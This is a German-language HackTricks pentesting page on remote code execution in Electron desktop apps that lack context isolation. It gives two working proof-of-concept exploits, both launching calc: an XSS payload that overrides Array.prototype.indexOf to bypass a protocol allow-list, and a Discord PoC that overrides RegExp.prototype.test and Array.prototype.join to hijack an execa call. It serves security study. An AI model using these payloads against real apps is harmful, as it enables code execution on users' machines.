hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

6.2 KiB

Electron contextIsolation RCE via preload code

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Beispiel 1

Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Dieser Code öffnet http(s)-Links mit dem Standardbrowser:

Etwas wie file:///C:/Windows/systemd32/calc.exe könnte verwendet werden, um einen Taschenrechner auszuführen, das SAFE_PROTOCOLS.indexOf verhindert dies.

Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation einschleusen:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Da der Aufruf von SAFE_PROTOCOLS.indexOf immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiges Exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Überprüfen Sie die Originalfolien nach anderen Möglichkeiten, Programme auszuführen, ohne dass eine Aufforderung zur Berechtigung angezeigt wird.

Anscheinend gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem etwas wie file://127.0.0.1/electron/rce.jar aufgerufen wird.

Beispiel 2: Discord App RCE

Beispiel von https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Beim Überprüfen der Preload-Skripte fand ich heraus, dass Discord die Funktion freigibt, die es erlaubt, dass einige erlaubte Module über DiscordNative.nativeModules.requireModule('MODULE-NAME') aufgerufen werden können, auf der Webseite. Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das child_process Modul, aber ich fand einen Code, mit dem RCE erreicht werden kann, indem die integrierten JavaScript-Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird.

Im Folgenden ist der PoC. Ich konnte bestätigen, dass die calc Anwendung angezeigt wird, wenn ich die Funktion getGPUDriverVersions aufrufe, die im Modul "discord_utils" definiert ist, aus den devTools, während die RegExp.prototype.test und Array.prototype.join überschrieben werden.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Die getGPUDriverVersions Funktion versucht, das Programm mithilfe der "execa"-Bibliothek auszuführen, wie folgt:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Normalerweise versucht execa "nvidia-smi.exe" auszuführen, das in der Variablen nvidiaSmiPath angegeben ist. Aufgrund der überschriebenen RegExp.prototype.test und Array.prototype.join wird jedoch das Argument durch "calc" in der internen Verarbeitung von _execa_** ersetzt**.

Speziell wird das Argument durch Ändern der folgenden zwei Teile ersetzt.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: